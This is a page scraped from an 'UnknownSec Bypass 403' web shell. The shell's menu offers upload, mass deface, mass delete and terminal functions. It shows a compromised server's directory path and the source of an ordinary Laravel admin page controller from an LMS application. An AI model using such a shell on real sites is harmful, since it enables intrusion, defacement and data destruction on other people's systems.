UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_0197b297ee76
/
app
/
Http
/
Controllers
/
Admin
/
Page
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
PageController.php
<?php namespace EstudioLMS\Http\Controllers\Admin\Page; use EstudioLMS\Base\ResponseBuilder; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Http\Requests; use EstudioLMS\Models\Config\PageTranslation; use EstudioLMS\Repositories\Page\PageRepository; use Illuminate\Http\Request; use mjanssen\BreadcrumbsBundle\Breadcrumbs; /** * Class PageController * @package EstudioLMS\Http\Controllers\Admin\Page */ class PageController extends Controller { /** * @var ResponseBuilder */ private $responseBuilder; /** * @var Breadcrumbs */ private $breadCrumbs; /** * @var PagesRepository */ private $pageRepository; /** * @var PageTranslation */ private $pageTranslation; /** * @param ResponseBuilder $responseBuilder * @param Breadcrumbs $breadCrumbs * @param PageRepository $pageRepository * @param PageTranslation $pageTranslation */ public function __construct( ResponseBuilder $responseBuilder, Breadcrumbs $breadCrumbs, PageRepository $pageRepository, PageTranslation $pageTranslation ) { $this->middleware('admins'); $this->responseBuilder = $responseBuilder; $this->breadCrumbs = $breadCrumbs; $this->pageRepository = $pageRepository; $this->pageTranslation = $pageTranslation; } /** * @return mixed */ public function index() { $env = 'environment'; $title = trans('admin_page.title'); $this->breadCrumbs->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_page.breadListPages'), route('admin.page.index')); $bread = $this->breadCrumbs->generate(); return $this->responseBuilder->render( 'admin.page.list_page', [], compact('title', 'env', 'bread') ); } /** * @return array|\Illuminate\Database\Eloquent\Collection|PageTranslation[] */ public function apiIndex() { $pages = $this->pageTranslation->all(); foreach($pages as $key => $page) { $pag = $this->pageRepository->find($page['page_id']); $pages[$key]['slug'] = $pag['slug']; $pages[$key]['published'] = $pag['published']; $pages[$key]['updated_at'] = $pag['updated_at']; } return $pages; } /** * @return mixed */ public function create() { $env = ''; $title = trans('admin_page.titleNew'); $this->breadCrumbs->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_page.breadListPages'), route('admin.page.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_page.breadNewPage'), route('admin.page.create')); $bread = $this->breadCrumbs->generate(); return $this->responseBuilder->render( 'admin.page.create', [], compact('title', 'env', 'bread') ); } /** * @param Request $request */ public function store(Request $request) { } /** * @param $id * @param $lang * @return mixed */ public function edit($id, $lang) { $env = ''; $title = trans('admin_page.titleEdit'); $this->breadCrumbs->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_page.breadListPages'), route('admin.page.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_page.breadEditPage'), route('admin.page.create')); $bread = $this->breadCrumbs->generate(); $languages = ['' => trans('admin_master.selectLanguage'), 'pt' => trans('admin_master.selectLanguagePt'), 'en' => trans('admin_master.selectLanguageEn'), 'es' => trans('admin_master.selectLanguageEs')]; \App::setLocale($lang); $page = $this->pageRepository->find($id); return $this->responseBuilder->render( 'admin.page.edit', compact('languages', 'page'), compact('title', 'env', 'bread') ); } /** * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function update(Request $request) { $data = $request->all(); $lang = $data['locale']; $locale = \App::getLocale(); \App::setLocale($lang); $page = $this->pageRepository->find($data['id']); $update = $page->translate(); $update->title = $data['title']; $update->page_body = $data['page_body']; $update->save(); $page->published = !empty($data['published']); $page->updated = date('Y-m-d H:i:s'); $page->save(); \App::setLocale($locale); return redirect()->route('admin.page.index'); } /** * @param Request $request * @return array */ public function updateStatus(Request $request) { $data = $request->all(); $register = $this->pageRepository->find($data['id']); $published = $register['published'] == 0 ? 1 : 0; $this->pageRepository->update(['published' => $published], $data['id']); $success = trans('admin_master.success'); $message = trans('admin_master.msgSuccess'); $ret = ['success' => $success, 'message' => $message]; return $ret; } public function destroy() { } }
Copyright © 2026 - UnknownSec